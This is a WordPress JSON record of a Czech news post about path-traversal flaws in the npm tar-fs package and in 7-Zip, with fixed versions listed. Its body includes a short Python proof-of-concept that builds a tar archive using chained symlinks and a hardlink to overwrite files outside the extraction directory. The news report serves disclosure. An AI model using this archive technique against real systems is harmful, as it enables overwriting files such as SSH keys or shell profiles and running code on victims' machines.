{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Zranitelnosti v tar-fs a 7-Zip, kter\u00e9 umo\u017e\u0148uj\u00ed zapisov\u00e1n\u00ed soubor\u016f mimo z\u00e1kladn\u00ed adres\u00e1\u0159","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

V bal\u00ed\u010dku NPM tar-fs byla zji\u0161t\u011bna zranitelnost (CVE-2025-48387), kter\u00e1 umo\u017e\u0148uje p\u0159i rozbalov\u00e1n\u00ed speci\u00e1ln\u011b upraven\u00e9ho tar archivu zapisovat soubory do libovoln\u00fdch \u010d\u00e1st\u00ed souborov\u00e9ho syst\u00e9mu, kter\u00e9 nejsou omezeny adres\u00e1\u0159em, do n\u011bj\u017e se rozbalov\u00e1n\u00ed prov\u00e1d\u00ed (jak umo\u017e\u0148uj\u00ed p\u0159\u00edstupov\u00e1 pr\u00e1va aktu\u00e1ln\u00edho u\u017eivatele). Zranitelnost m\u016f\u017ee b\u00fdt rovn\u011b\u017e vyu\u017eita k p\u0159eps\u00e1n\u00ed existuj\u00edc\u00edch soubor\u016f, nap\u0159\u00edklad pro proveden\u00ed vlastn\u00edho k\u00f3du v syst\u00e9mu mohou b\u00fdt p\u0159eps\u00e1ny soubory \u201e.ssh\/id_rsa\u201c nebo \u201e.bashrc\u201c v domovsk\u00e9m adres\u00e1\u0159i u\u017eivatele. <\/p>\n

Probl\u00e9m byl p\u0159id\u011blen kritick\u00e9 \u00farovni nebezpe\u010d\u00ed s ohledem na to, \u017ee bal\u00ed\u010dek tar-fs m\u00e1 23 milion\u016f sta\u017een\u00ed t\u00fddn\u011b a je pou\u017e\u00edv\u00e1n jako z\u00e1vislost v 1155 projektech. Zranitelnost byla odstran\u011bna ve verz\u00edch 3.0.9, 2.1.3 a 1.16.5, kter\u00e9 byly vyd\u00e1ny v kv\u011btnu, ale informace o zranitelnosti byla zve\u0159ejn\u011bna a\u017e po t\u00e9m\u011b\u0159 3 m\u011bs\u00edc\u00edch. <\/p>\n

Zranitelnost je zp\u016fsobena nedostate\u010dn\u00fdmi kontrolami symbolick\u00fdch a tvrd\u00fdch odkaz\u016f v archivu z hlediska jejich p\u0159\u00edstupu mimo c\u00edlov\u00fd adres\u00e1\u0159 pro rozbalen\u00ed. K obch\u00e1zen\u00ed kontrol se pou\u017e\u00edvaj\u00ed dv\u011b symbolick\u00e9 odkazy: prvn\u00ed odkazuje na ko\u0159enov\u00fd adres\u00e1\u0159 rozbalen\u00ed archivu (\u201e.\u201c), a druh\u00fd je vytv\u00e1\u0159en relativn\u011b k prvn\u00edmu symbolick\u00e9mu odkazu a v n\u00e1zvu pou\u017e\u00edv\u00e1 znaky \u201e..\/\u201c pro pr\u016fnik mimo z\u00e1kladn\u00ed adres\u00e1\u0159. Nap\u0159\u00edklad prvn\u00ed odkaz \u201enoop\/noop\/noop\u201c ukazuje na \u201e.\u201c, zat\u00edmco druh\u00fd odkaz \u201enoop\/noop\/noop\/..\/..\/..\/..\/\u201c se rozvine na \u201e.\/..\/..\/..\/..\/\u201c. Pro organizaci p\u0159eps\u00e1n\u00ed soubor\u016f v archivu m\u016f\u017ee b\u00fdt vytvo\u0159en tvrd\u00fd odkaz, kter\u00fd odkazuje na extern\u00ed soubor relativn\u011b k druh\u00e9mu symbolick\u00e9mu odkazu. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop\/' * 15) + ('..\/' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root\/home\/username\/flag\/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\\n' newfile = tarfile.TarInfo('root\/home\/username\/flag\/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Podobn\u00e1 zranitelnost (CVE-2025-55188) byla zji\u0161t\u011bna v archiva\u010dn\u00edm programu 7-Zip. Pro z\u00e1pis soubor\u016f mimo z\u00e1kladn\u00ed adres\u00e1\u0159 m\u016f\u017ee 7-Zip tak\u00e9 vyu\u017e\u00edvat symbolick\u00e9 odkazy, kter\u00e9 obsahuj\u00ed sekvenci \u201e..\/\u201c ve sv\u00e9 cest\u011b. Probl\u00e9m m\u016f\u017ee b\u00fdt zneu\u017eit p\u0159i rozbalov\u00e1n\u00ed jak\u00fdchkoli archiv\u016f pomoc\u00ed 7-Zip, kter\u00e9 podporuj\u00ed symbolick\u00e9 odkazy, jako jsou zip, tar, 7z a rar. Probl\u00e9m byl odstran\u011bn ve verzi 7-Zip 25.01.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranitelnosti v tar-fs a 7-Zip, kter\u00e9 umo\u017e\u0148uj\u00ed zapisovat soubory mimo z\u00e1kladn\u00ed adres\u00e1\u0159 | ProHoster","description":"V bal\u00ed\u010dku NPM tar-fs byla zji\u0161t\u011bna zranitelnost (CVE-2025-48387), kter\u00e1 umo\u017e\u0148uje p\u0159i rozbalov\u00e1n\u00ed speci\u00e1ln\u011b vytvo\u0159en\u00e9ho tar archivu zapisovat soubory do jak\u00fdchkoli \u010d\u00e1st\u00ed FS, bez omezen\u00ed na adres\u00e1\u0159, do kter\u00e9ho se prov\u00e1d\u00ed rozbalen\u00ed.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430.","og:url":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-08-18T09:12:07+00:00","article:modified_time":"2025-08-18T09:12:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"140951","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 14:20:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 14:20:20","updated":"2026-01-23 14:20:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/140951","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=140951"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/140951\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=140951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=140951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=140951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}